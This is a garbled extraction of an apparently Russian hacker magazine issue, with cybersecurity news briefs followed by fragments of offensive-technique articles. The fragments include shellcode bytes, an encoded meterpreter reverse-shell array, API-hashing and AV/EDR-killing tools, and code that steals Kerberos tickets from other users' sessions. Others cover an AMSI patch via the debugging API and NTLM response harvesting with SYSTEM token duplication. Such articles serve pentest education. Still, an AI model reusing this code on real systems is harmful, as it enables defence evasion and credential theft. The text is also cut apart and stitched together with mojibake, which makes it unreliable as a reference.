Академический Документы
Профессиональный Документы
Культура Документы
CONTENTS
ЧертGPT
Колонка главреда
MEGANews
Самые важные события в мире инфосека за ноябрь
Апгрейды для шелл-кода
Изучаем инструменты обхода антивирусов и EDR
Локальная картошка
Исследуем уязвимость в локальной аутентификации Windows
Абьюз сессий Windows по-новому
Получаем билеты TGT методом GIUDA
Злой отладчик
Изучаем новый способ обхода AMSI в Windows
Магия SSPI
Достаем учетные данные Windows, не трогая LSASS
Ethernet Abyss VIP
Пентестим Ethernet по всем правилам
Беззащитная защита
Изучаем уязвимость, дающую встроить бэкдор в FortiGate
Большая охота
Практикуемся в Threat Hunting
Tunnels Nightmare
Используем провайдерские протоколы для пивотинга
HTB Download
Перехватываем терминал суперпользователя при атаке на хост
HTB Topology
Эксплуатируем LaTeX-инъекцию для доступа к серверу
HTB Sandworm
Выходим из песочницы Firejail и повышаем привилегии в Linux
HTB Gofer
Эксплуатируем path hijacking в связке с use after free
Береги голову
Как хакнуть свой организм, чтобы жить лучше
Титры
Кто делает этот журнал
HEADER
Тревоги можно поделить на два типа. Первый связан с тем, что ученые
вот-вот изобретут AGI, или «сильный ИИ», то есть равный человеку, а значит,
и потенциально способный превзойти его в умственных задачах. Последс-
твия этого непредсказуемы. Второй тип волнений более насущный, он связан
с тем, что ИИ уже сейчас может научить людей плохому. Например,
что-нибудь взламывать.
Главными алармистами в теме сильного ИИ сейчас выступают Элиезер
Юдковский и его единомышленники с сайта LessWrong. Юдковский — автор
занятной идеи о том, что дай сильному ИИ задачу делать, например, скреп-
ки — и он может ненароком пустить на скрепки и нас со всей планетой вмес-
те. То, что между ChatGPT и воображаемым максимизатором скрепок есть
серьезная разница в возможностях, не мешает Юдковскому нагонять панику
уже сейчас.
Говорили, что именно к таким опасениям мог прислушиваться соос-
нователь и главный научный сотрудник OpenAI Илья Суцкевер. Именно он
стал катализатором в недавнем скандале, когда совет директоров OpenAI
ненадолго уволил гендиректора компании Сэма Альтмана. Тот следом чуть
не увел за собой всех сотрудников в Microsoft, где для них тут же широко рас-
пахнули двери.
ОГРАБЛЕНИЕ
POLONIEX
Похоже, эта тактика не сработала, так как позже на адреса, связанные с этим
»
взломом, было отправлено новое сообщение. Кошельки Джастина Сана ини-
циировали шестнадцать транзакций, каждая стоимостью 0,10 доллара США
в Ethereum, содержащих одно и то же послание на нескольких языках.
В третьем квартале 2023 года количество подобных писем в 11 раз превысило показатели ана-
логичного периода прошлого года. Самыми популярными подменными буквами у киберпрес-
тупников стали Е, О, С, А.
При этом на втором месте расположилась не Android 12, как можно было бы подумать,
а Android 11, которая используется на 21,6% активных устройств и опережает Android 12,
на счету которой 15,8% девайсов.
ИЗ TOR УДАЛИЛИ
РЯД УЗЛОВ
После того как из сети Tor удалили множество узлов, команда Tor Project объ-
яснила свое решение тем, что узлы представляли угрозу для безопасности
всех пользователей. Оказалось, операторы некоторых ретрансляторов учас-
твовали в «высокорискованной криптовалютной схеме, обещающей денеж-
ную выгоду» и не получали на это одобрение со стороны Tor Project.
Ретрансляторы в сети Tor представляют собой узлы маршрутизации,
которые помогают анонимизировать трафик в сети Tor, принимая и передавая
зашифрованные данные следующему узлу. В основном ими управляют волон-
теры и энтузиасты, неравнодушные к вопросам конфиденциальности,
безопасности, анонимности и свободы информации в интернете.
Удаление множества узлов из сети вызвало в сообществе жаркие дис-
куссии о правилах использования ретрансляторов, а также о том, что явля-
ется нарушением, а что нет. Поэтому разработчики решили объяснить свои
действия.
Как сообщили в блоге представители Tor Project, недавно выяснилось, что
некоторые операторы ретрансляторов были связаны с некой высокорис-
кованной криптовалютной схемой. А использование ретрансляторов
для получения прибыли противоречит добровольческим принципам волон-
теров, которые борются с цензурой и слежкой в сети.
К тому же, если коммерческая составляющая обретет серьезный масштаб
и поглотит значительную часть ретрансляторов в сети Tor, власть из рук сооб-
щества перейдет в руки сомнительных лиц, а безопасность всей сети будет
подорвана агрессивной централизацией.
Билл Гейтс принял участие в подкасте Тревора Ноа «What Now?», и во время беседы Ноа поин-
тересовался у создателя Microsoft, что тот думает о потенциальной угрозе, которую ИИ пред-
ставляет для рабочих мест. Гейтс ответил, что благодаря ИИ может наступить время, когда
людям «не придется так много работать».
Ранее миллиардер уже посвятил возможным проблемам, связанным с ИИ, большую статью
в своем блоге. Там он признавал опасность его неправильного использования, однако тоже
сохранял оптимизм.
БАГИ В EXCHANGE
ОСТАЛИСЬ
БЕЗ ПАТЧЕЙ
В Trend Micro Zero Day Initiative (ZDI) предупредили, что Microsoft Exchange
подвержен сразу четырем уязвимостям нулевого дня, которые хакеры могут
использовать для выполнения произвольного кода или раскрытия конфиден-
циальной информации. При этом инженеры Microsoft сочли, что уязвимости
недостаточно серьезны, и отложили патчи для них на потом.
Проблемы были выявлены специалистами ZDI еще в сентябре 2023 года,
и, хотя в Microsoft признали их наличие, в компании не посчитали их достаточ-
но серьезными. Эксперты ZDI не согласились с этой оценкой и решили обна-
родовать информацию о багах, чтобы предупредить администраторов
Exchange о возможных рисках.
ZDI-23-1578: RCE-уязвимость в классе ChainedSerializationBinder, связан-
ная с тем, что пользовательские данные не проверяются надлежащим обра-
зом, в результате чего злоумышленники могут десериализовать недоверен-
ные данные. Успешная эксплуатация позволяет выполнить произвольный код
с правами SYSTEM.
ZDI-23-1579: уязвимость в методе DownloadDataFromUri, связанная
с недостаточной проверкой URI перед доступом к ресурсу. Злоумышленники
могут использовать ее для получения доступа к конфиденциальной информа-
ции с серверов Exchange.
ZDI-23-1580: уязвимость в методе DownloadDataFromOfficeMarketPlace
также связана с неправильной проверкой URI и может привести к несанкци-
онированному раскрытию информации.
ZDI-23-1581: баг, присутствующий в методе CreateAttachmentFromUri,
похож на предыдущие, поскольку некорректно проверяет URI, что тоже чре-
вато раскрытием конфиденциальных данных.
Для эксплуатации этих багов требуется аутентификация, что снижает их
серьезность (от 7,1 до 7,5 балла по шкале CVSS). Вероятно, именно поэтому
Microsoft решила не уделять приоритетное внимание исправлению этих оши-
бок.
Тем не менее в ZDI отмечают, что не стоит считать перечисленные выше
проблемы малозначимыми, особенно ZDI-23-1578 (RCE), которая может при-
вести к полной компрометации системы.
Исследователи предложили единственную стратегию защиты — огра-
ничить взаимодействие с приложениями Exchange. Однако это может ока-
заться неприемлемым для многих предприятий и организаций, исполь-
зующих этот продукт.
Представители Microsoft прокомментировали ситуацию следующим обра-
зом:
« «Ìû âûñîêî öåíèì ðàáîòó òåõ, êòî ñîîáùèë îá ýòèõ ïðîáëåìàõ â ðàì-
êàõ ñêîîðäèíèðîâàííîãî ðàñêðûòèÿ èíôîðìàöèè îá óÿçâèìîñòÿõ,
è ãîòîâû ïðèíÿòü íåîáõîäèìûå ìåðû äëÿ çàùèòû ïîëüçîâàòåëåé.
Ìû ðàññìîòðåëè ñîîáùåíèÿ èññëåäîâàòåëåé è ïðèøëè ê âûâîäó,
÷òî ýòè ïðîáëåìû ëèáî óæå óñòðàíåíû, ëèáî íå îòâå÷àþò òðåáîâàíèÿì
äëÿ íåìåäëåííîãî ðåàãèðîâàíèÿ, â ñîîòâåòñòâèè ñ íàøèìè ïðàâèëàìè
êëàññèôèêàöèè ñåðüåçíîñòè (óÿçâèìîñòåé). Ìû ñîîòâåòñòâóþùèì
îáðàçîì ðàññìîòðèì âîçìîæíîñòü èõ óñòðàíåíèÿ â áóäóùèõ âåðñèÿõ
ïðîäóêòîâ è îáíîâëåíèÿõ».
БОТЫ В ИНТЕРНЕТ-ТРАФИКЕ
Специалисты Arkose Labs проанализировали активность миллиардов ботов за период с января
по сентябрь 2023 года. Некоторые из ботов выполняют полезные функции, например индекси-
руют интернет, но большинство созданы для вредоносных целей.
Основные категории атак ботов: создание фальшивых учетных записей, захват учет-
ных записей, скраппинг, управление учетными записями и злоупотребление раз-
личными продуктами.
В пятерку ведущих отраслей, на которые направлены атаки ботов, входят технологическая (на
ботов приходится 76% трафика), игровая (29% трафика), социальные сети (46% трафика),
электронная коммерция (65% трафика) и финансовые услуги (45% трафика).
Продолжение статьи →
← Начало статьи
Так, общее количество фишинговых сайтов, для размещения которых использовались россий-
ские серверы, сократилось на 53%, а доля мошеннических ресурсов, которые размещались
у российских хостеров, упала с 73 до 41%. Эксперты полагают, что это связано с успехами
детектирования и блокировок мошеннических сайтов компетентными организациями и регуля-
торами.
ОПЕРАТОРЫ
BLACKCAT
ЖАЛУЮТСЯ ВЛАСТЯМ
РКН ЗАБЛОКИРУЕТ
SHADOWSOCKS
С начала 2023 года инсайдерские атаки от рядовых пользователей увеличились в 1,5 раза
по сравнению с аналогичным периодом прошлого года.
Продолжение статьи →
← Начало статьи
БЭНКМАН-ФРИД
ПРИЗНАН
ВИНОВНЫМ
При этом аудитория Facebook, также принадлежащей Meta, еще в 2022 году сократилась
в 2,3 раза, с 41,3 миллиона до 18 миллионов человек, но с тех пор этот показатель
не менялся.
Главным бенефициаром происходящего стал Telegram: по итогам октября 2023 года охват этой
платформы составил 82,3 миллиона человек, что на 15% больше, чем в октябре 2022 года,
и на 62% больше, чем в октябре 2021 года. Отмечается, что при этом рост других российских
соцсетей («Вконтакте» и «Одноклассников») заметно замедлился.
БОТНЕТ MOZI
ОТКЛЮЧИЛСЯ
Затем 27 сентября 2023 года всем ботам Mozi восемь раз было отправлено
одинаковое UDP-сообщение с указанием загрузить обновление через HTTP,
которое привело к следующему:
• ликвидация вредоносного процесса Mozi;
• отключение некоторых системных служб (sshd и dropbear);
• замена файла Mozi;
• выполнение команд конфигурации на устройстве;
• блокировка доступа к различным портам;
• создание плацдарма для нового файла.
Доля флуда TCP SYN значительно выросла, достигнув 60%. На втором месте (20%) рас-
положился флуд TCP ACK, а UDP-флуд занимает третье место с 13%.
Доля атак типа DNS Amplication составила всего 3%, показав снижение по сравнению со вто-
рым кварталом, а доля NTP Amplication и вовсе упала с 9 до 1%.
Наибольший объем атак был зарегистрирован на сетях телеком операторов. Это объясня-
ется тем, что операторы интенсивно борются с DDoS-атаками, защищая как собственные объ-
екты, так и ресурсы своих клиентов, размещенные в той же инфраструктуре.
БАГ REPTAR
УГРОЖАЕТ ЧИПАМ
INTEL
злоумышленники.
ÍÀ ×ÅÌ ÌÛ ÒÅÑÒÈÐÎÂÀËÈ
...
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
NimBlackout
NimBlackout позволяет удалить AV/EDR при помощи уязвимого драйвера.
Драйвер GMER используется для взаимодействия с ядром операционной
системы и дает возможность обнаруживать и анализировать скрытые вре-
доносные элементы.
Программа написана на Nim, давай скомпилируем ее на Linux:
Эта атака нацелена на Microsoft Defender. Однако тут есть одно но: версия
GMER из этого PoC может не сработать на Windows 11 и последних версиях
Windows 10. Более того, для запуска нам нужно иметь привилегии локального
администратора.
EntropyReducer
Как ты, возможно, знаешь, энтропия — это степень случайности в заданном
наборе данных. Существуют разные способы измерять энтропию, в нашем
контексте под этим термином мы будем подразумевать энтропию Шеннона,
которая дает значение от 0 до 8. С увеличением уровня случайности в наборе
данных увеличивается и значение энтропии.
Двоичные файлы вредоносного ПО зачастую имеют более высокую энтро-
пию, чем обычные файлы. Высокая энтропия — явный показатель сжатых,
зашифрованных или упакованных данных, которые используются вредонос-
ными программами для скрытия сигнатур.
Для примера посчитаем энтропию от обычного meterpreter/reverse_tcp.
Сначала сгенерируем файл:
case SORT_BY_BUFFER: {
iValue1 = (int)(top1->pBuffer[0] ^ top1->pBuffer[1] ^ top1->pBuffer
[2]); // calculating a value from the payload buffer chunk
iValue2 = (int)(top2->pBuffer[0] ^ top2->pBuffer[1] ^ top2->pBuffer
[2]); // calculating a value from the payload buffer chunk
break;
}
// printf("---------------------------\n\n");
// PrintList(pLinkedList);
// printf("---------------------------\n\n");
Запуск EntropyReducer
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
unsignedcharentropy_bin_ER[] = {
0x68, 0xc0, 0xa8, 0x8d, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00,
0x29, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x04, 0x56, 0x57, 0x68, 0x00,
0x3d,
...
0x00, 0x00, 0x00, 0x8b, 0x58, 0x24, 0x01, 0x00, 0x1b, 0x00, 0x00,
0x00,
0xbb, 0xf0, 0xb5, 0xa2, 0x00, 0x56, 0x00, 0x00, 0x00};
unsigned int entropy_bin_ER_len = 801;
Этот код мы можем скомпилировать в .exe. После чего уже не составит труда
запустить его, как обычный исполняемый файл.
Ïðèìåð îáõîäà
Предположим, у нас есть вредоносное ПО, которое использует функцию
CreateThread. Если мы скомпилируем код и проанализируем его с помощью
PE-парсера, увидим, что CreateThread — одна из импортированных фун-
кций. Однако если мы применим технику API Hashing, то CreateThread
исчезнет из IAT.
Для этого разработчики вредоносного ПО могут использовать следующий
подход:
1. Создается хеш-функция, которая принимает имя функции (например,
CreateThread) и возвращает уникальное хеш-значение.
2. Вредоносное ПО во время выполнения перебирает все экспортирован-
ные функции из библиотеки (например, kernel32.dll), вычисляет их
хеши и сравнивает с хешем CreateThread.
3. Как только хеш совпадает, вредоносное ПО получает адрес функции
и может вызвать ее напрямую, минуя IAT.
$APIsToHash = @("VirtualAlloc")
$APIsToHash | % {
$api = $_
$hash = 0x35
[int]$i = 0
$api.ToCharArray() | % {
$l = $_
$c = [int64]$l
$c = '0x{0:x}' -f $c
$hash += $hash * 0xab10f29f + $c -band 0xffffff
$hashHex = '0x{0:x}' -f $hash
$i++
write-host "Iteration $i : $l : $c : $hashHex"
}
write-host "$api`t $('0x00{0:x}' -f $hash)"
}
Проблема только в том, что шелл Meterpreter делает вызов ко множеству API,
включая ExitProcess, LoadLibraryA, VirtualAlloc и VirtualFree. И это
далеко не полный список. Что же нам делать? Здесь помогает Randomise-api-
hashes-cobalt-strike. Этот скрипт вычисляет хеши для огромного множества
API и заменяет их названия в шелл-коде. Давай установим его на Kali Linux
и посмотрим, как он работает.
Клонируем репозиторий.
Клонирование репозитория
Генерация шелл-кода
А что по обнаружениям?
VirusTotal дал 11 из 69.
Результаты обнаружения
ÂÛÂÎÄÛ
NTLM-ÀÓÒÅÍÒÈÔÈÊÀÖÈß
Если ты незнаком с RPC, то считай, что это API, который раскрывает функции
для удаленного использования. В описанном случае служба StorSvc раскры-
вает метод SvcRebootToFlashingMode, который может вызвать любой
человек, имеющий доступ к машине.
Поскольку StorSvc работает с привилегиями SYSTEM, создание
SprintCSP.dll где-нибудь в PATH приведет к загрузке библиотеки при каж-
дом вызове SvcRebootToFlashingMode.
ÊÎÌÏÈËßÖÈß ÝÊÑÏËÎÈÒÀ
void DoStuff() {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return;
}
ÝÊÑÏËÓÀÒÀÖÈß
ÂÛÂÎÄ
функции Windows?
LOGON SESSION
Сам LUID представлен в виде двух значений: ULONG и LONG. Причем обычно
заполняется лишь поле LowPart, а HighPart имеет значение 0.
Эта структура используется во всех функциях WinAPI, которые так или ина-
че связаны с сессиями пользователя.
С помощью GetTokenInformation() можно получить LUID пользователя.
Для этого функции следует передать токен процесса, запущенного от имени
текущего пользователя.
#include <windows.h>
#include <iostream>
#include <sddl.h>
int main() {
HANDLE tokenHandle;
DWORD tokenInformationLength = 0;
GetTokenInformation(tokenHandle, TokenStatistics, nullptr, 0, &
tokenInformationLength);
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
std::cerr << "GetTokenInformation неудачный первый вызов: " <<
GetLastError() << std::endl;
CloseHandle(tokenHandle);
return 1;
}
std::cout << "LUID: " << std::hex << "0x" << std::uppercase <<
tokenStats->AuthenticationId.LowPart << tokenStats->AuthenticationId.
HighPart << std::endl;
delete[] tokenStats;
CloseHandle(tokenHandle);
return 0;
}
NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);
#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
int main() {
setlocale(LC_ALL, "");
ULONG logonSessionCount = 0;
PLUID logonSessionList = nullptr;
LsaFreeReturnBuffer(logonSessionList);
return 0;
}
NTSTATUS LsaGetLogonSessionData(
[in] PLUID LogonId,
[out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);
std::wstring domainName(pSessionData->LogonDomain.Buffer,
pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.
Buffer));
std::wstring userName(pSessionData->UserName.Buffer, pSessionData->
UserName.Buffer + wcslen(pSessionData->UserName.Buffer));
LsaFreeReturnBuffer(pSessionData);
#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
std::wstring domainName(pSessionData->LogonDomain.Buffer,
pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.
Buffer));
std::wstring userName(pSessionData->UserName.Buffer, pSessionData->
UserName.Buffer + wcslen(pSessionData->UserName.Buffer));
LsaFreeReturnBuffer(pSessionData);
int main() {
setlocale(LC_ALL, "");
ULONG logonSessionCount = 0;
PLUID logonSessionList = nullptr;
LsaFreeReturnBuffer(logonSessionList);
return 0;
}
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
Для запроса TGS-билета LSA получает SPN (service principal name, иден-
тификатор службы) и передает на KDC. Мы можем запрашивать билеты TGS
сами. Для этого есть функция LsaCallAuthenticationPackage().
NTSTATUS LsaCallAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] ULONG AuthenticationPackage,
[in] PVOID ProtocolSubmitBuffer,
[in] ULONG SubmitBufferLength,
[out] PVOID *ProtocolReturnBuffer,
[out] PULONG ReturnBufferLength,
[out] PNTSTATUS ProtocolStatus
);
Здесь
• LsaHandle — хендл, указывающий на службу LSA, который можно
получить с помощью LsaRegisterLogonProcess() или LsaConnectUntrusted();
• AuthenticationPackage — номер AP, с которым следует взаимодей-
ствовать;
• ProtocolSubmitBuffer — передаваемый буфер, мы будем отдавать
KERB_RETRIEVE_TKT_REQUEST;
• SubmitBufferLength — размер передаваемого буфера;
• ProtocolReturnBuffer — ответ от AuthenticationPackage. Нам
прилетит структура KERB_RETRIEVE_TKT_RESPONSE;
• ReturnBufferLength — размер буфера с ответом;
• ProtocolStatus — значение, которое будет содержать код ошибки
от AP.
Здесь
• MessageType — то, что нам нужно получить от AP. Указываем
KerbRetrieveEncodedTicketMessage;
• LogonID — LUID сессии, от лица которой происходит обращение к AP.
Именно в этот момент и будет подменен LUID. Проблема в том, что если
мы подключились к LSA через LsaConnectUntrusted(), то у нас
не получится указать здесь LUID чужой сессии — LSA выдаст ошибку 0x5
ERROR_ACCESS_DENIED, но если мы подключимся через
LsaRegisterLogonProcess(), то сможем передавать сюда любой
желанный LUID. И таким образом сможем запрашивать билеты из чужой
сессии;
• TargetName — здесь указываем SPN службы, на которую нужно получить
билет;
• CacheOptions — опции, связанные с кешем LSA. Кеш LSA — это некое
хранилище, в котором лежат билеты. Здесь тоже есть некоторые особен-
ности. Если мы сразу укажем KERB_RETRIEVE_TICKET_AS_KERB_CRED
(значение для получения билета в форме KRB_CRED, сразу с сессионным
ключом; подробности — в другой моей статье), то есть шанс не получить
билет. Проблема в том, что в кеше LSA может не быть билета для той служ-
бы, на которую мы хотим сходить. И если мы сразу указываем
KERB_RETRIEVE_TICKET_AS_KERB_CRED, то LSA может просто не вер-
нуть никакого билета, поскольку возвращать нечего. Поэтому придется
дважды вызвать функцию LsaCallAuthenticationPackage(). Первый
раз — со значением KERB_RETRIEVE_TICKET_DEFAULT, второй —
с KERB_RETRIEVE_TICKET_AS_KERB_CRED. ...DEFAULT отвечает
за запрос билета. То есть просим LSA обратиться к KDC и получить билет;
• EncryptionType — желаемый тип шифрования для запрошенного
билета. Указываем KERB_ETYPE_DEFAULT — нам не принципиален тип
шифрования;
• CredentialsHandle — используется для SSPI, в данном случае неваж-
но.
ÊÐÀÄÅÌ ÁÈËÅÒ
LsaFreeReturnBuffer(sessions);
size_t index;
std::cout << "\n[?] Enter index of logon session: ";
std::cin >> index;
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t));
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_DEFAULT;
pKerbRetrieveRequest->EncryptionType = KERB_ETYPE_DEFAULT;
pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;
pKerbRetrieveRequest->LogonId = logonId;
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)
pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget,
pKerbRetrieveRequest->TargetName.MaximumLength);
И вызываем LSA:
Теперь LSA обратится к KDC и получит новый тикет. Если мы сразу же поп-
робуем его извлечь, то он не будет валидным. Точнее, в нем не будет сес-
сионного ключа и пользоваться им не получится.
Поэтому, убедившись, что вызов успешно совершен, меняем
CacheOptions на KERB_RETRIEVE_TICKET_AS_KERB_CRED и обращаемся
к LSA.
if (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS) {
pKerbRetrieveRequest->CacheOptions =
KERB_RETRIEVE_TICKET_AS_KERB_CRED;
status = LsaCallAuthenticationPackage(hLsa, AP,
pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData
, &packageStatus);
if (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS) {
std::wcout << L"[+] Asking for TGS Success" << std::endl;
std::cout << "[+] Ticket: " << base64_encode(
pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->
Ticket.EncodedTicketSize) << std::endl;
Указание сессии
Получение TGT-билета
ÂÛÂÎÄÛ
ÑÒÀÍÎÂÈÌÑß ÄÅÁÀÃÃÅÐÎÌ
BOOL DebugActiveProcess(
[in] DWORD dwProcessId
);
#ifdef DEBUG
std::cout << h("[+] Process Created Successfully") << std::endl;
#endif
return pi.dwProcessId;
if (!DebugActiveProcess(pid))
{
DWORD err = GetLastError();
std::cerr << h("[-] Failed to attach to process: ") << err <<
" " << GetWinapiErrorDescription(err) << std::endl;
return 1;
}
BOOL WaitForDebugEvent(
[out] LPDEBUG_EVENT lpDebugEvent,
[in] DWORD dwMilliseconds
);
case LOAD_DLL_DEBUG_EVENT:
char szName[MAX_PATH];
if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName
, MAX_PATH, VOLUME_NAME_DOS))
{
if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\amsi.dll"
)) == 0) {
// Подгрузился AMSI
}
}
Я, само собой, выбрал сложный способ. Для этого вывел всю логику по пар-
сингу EAT в отдельную функцию GetFunctionAddressFromEAT(), она при-
нимает хендл процесса, базовый адрес библиотеки, а также имя функции,
адрес которой нужно получить.
IMAGE_NT_HEADERS ntHeader;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) + dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader),
nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_NT_HEADERS") << err
<< h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}
IMAGE_EXPORT_DIRECTORY exportDirectory;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) +
ntHeader.OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
&exportDirectory, sizeof(exportDirectory), nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_EXPORT_DIRECTORY") <
< err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}
delete[] functionAddresses;
delete[] functionNames;
delete[] functionNameOrdinals;
return functionAddress;
}
Затем нужно как можно скорее перестать быть отладчиком. Для этого ставим
метку на функцию DebugActiveProcessStop().
me:
if (!DebugActiveProcessStop(pid))
{
DWORD ll = GetLastError();
std::cerr << h("[-] Failed to detach from process: ") << ll << h(
" ") << GetWinapiErrorDescription(ll) << std::endl;
return -1;
}
Успешный патч
Работающий патч
ÇÀÊËÞ×ÅÍÈÅ
WinAPI настолько огромен, что даже самые легитимные фичи могут помочь
атакующему достичь своих целей. Самое главное — найти нужную функцию
и понять, в какой момент к ней обращаться. А все остальное — дело техники!
COVERSTORY
SSPI на клиенте
SSPI на сервере
ÈÇÂÅÑÒÍÛÅ ÀÒÀÊÈ
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
ÂÍÓÒÐÅÍÍÈÉ ÌÎÍÎËÎÃ
class InternalMonologueResponse {
public:
std::wstring Challenge = L"";
std::wstring Resp1 = L"";
std::wstring Resp2 = L"";
std::wstring Domain = L"";
std::wstring UserName = L"";
std::wstring UsernameWithoutDomain = L"";
void Print() {
std::wcout << UsernameWithoutDomain << L"::" << Domain << L":" <<
Resp1 << L":" << Resp2 << L":" << Challenge << std::endl;
}
};
LPWSTR GetCurrentUsername() {
HANDLE hToken;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_READ,FALSE, &hToken))
{
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken))
return (LPWSTR)L"";
}
DWORD bufferSize = 0;
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &bufferSize) &&
GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
CloseHandle(hToken);
return (LPWSTR)L"";
}
WCHAR accountName[MAX_PATH];
WCHAR domainName[MAX_PATH];
DWORD accountNameSize = MAX_PATH;
DWORD domainNameSize = MAX_PATH;
SID_NAME_USE snu;
free(pTokenUser);
CloseHandle(hToken);
status = InitializeSecurityContextW(
&_hCred,
NULL,
(LPWSTR)response.UserName.c_str(),
ISC_REQ_CONNECTION,
0,
SECURITY_NATIVE_DREP,
NULL,
0,
&_hClientContext,
&ClientToken,
&ContextAttributes,
&ClientLifeTime
);
status = AcceptSecurityContext(
&_hCred,
NULL,
&ClientToken,
ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY,
SECURITY_NATIVE_DREP,
&_hServerContext,
&ServerToken,
&ContextAttributes,
&ClientLifeTime
);
std::vector<BYTE> buffer;
if (pSecBufferDesc->cBuffers == 1) {
SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers;
if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) {
buffer.resize(pSecBuffer->cbBuffer);
memcpy(&buffer[0], pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);
}
}
else {
size_t bytesToAllocate = 0;
buffer.resize(bytesToAllocate);
BYTE* pBufferIndex = &buffer[0];
return buffer;
}
if (length % 2 == 1) {
return std::vector<uint8_t>();
}
return arr;
}
if (DisableEss) {
serverMessage[22] = (BYTE)(serverMessage[22] & 0xF7);
}
ReplaceChallenge(serverMessage, challengeBytes);
Дело за малым. Делаем вид, что клиент получил этот пакет, вызываем
InitializeSecurityContext(), и клиент генерирует ответ на челлендж.
status = InitializeSecurityContextW(
&_hCred,
&_hClientContext,
(LPWSTR)response.UserName.c_str(),
ISC_REQ_CONNECTION,
0,
SECURITY_NATIVE_DREP,
&ServerToken,
0,
&_hClientContext,
&ClientToken,
&ContextAttributes,
&ClientLifeTime
);
std::vector<BYTE> lm_resp(lm_resp_len);
std::vector<BYTE> nt_resp(nt_resp_len);
std::vector<BYTE> domain(domain_len);
result.Challenge = challenge;
result.UsernameWithoutDomain = SplitDomain(result.UserName);
if (nt_resp_len == 24) {
result.Domain = ConvertHex(byteArrayToString(domain));
result.Resp1 = byteArrayToString(lm_resp);
result.Resp2 = byteArrayToString(nt_resp);
}
else if (nt_resp_len > 24) {
result.Domain = ConvertHex(byteArrayToString(domain));
result.Resp1 = byteArrayToString(nt_resp).substr(0, 32);
result.Resp2 = byteArrayToString(nt_resp).substr(32);
}
}
return result;
}
HANDLE hSystemTokenHandle;
OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);
HANDLE newTokenHandle;
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL,
SecurityDelegation, TokenPrimary, &newTokenHandle);
ImpersonateLoggedOnUser(newTokenHandle);
return GetLastError();
}
ÂÛÂÎÄÛ
MITM и Ethernet-пивотинге.
В мае 2022 года я выпускал статью под названием Ethernet Abyss, в которой
разобрал атаки на канальный уровень. Перед тобой — ее «VIP-ремикс».
На этот раз я расскажу о приемах сбора информации об оборудовании
без шума в эфире, о том, как проводить MITM-атаки безопасно, и об особен-
ностях Ethernet-туннелей при пивотинге.
ÑÁÎÐ ÈÍÔÎÐÌÀÖÈÈ
Ïåðâîå ïîäêëþ÷åíèå
Уже после подключения к сетевому коммутатору атакующий может создать
шум в эфире. Например, автоматически активный NetworkManager с DHCP.
Рекомендую не спешить с активным DHCP, сделай так, чтобы хотя бы
интерфейс был в состоянии UP.
Также стоит заметить, что по DHCP передается имя устройства, которое
получило адрес автоматически. Вся эта информация будет храниться
на DHCP-сервере. Это довольно неприятный расклад для пентестера, однако
передачу хостнейма по DHCP можно выключить здесь:
[ipv4]
method=auto
dhcp-send-hostname=false
Discovery-ïðîòîêîëû
Discovery-протоколы нужны для обмена информацией между устройствами,
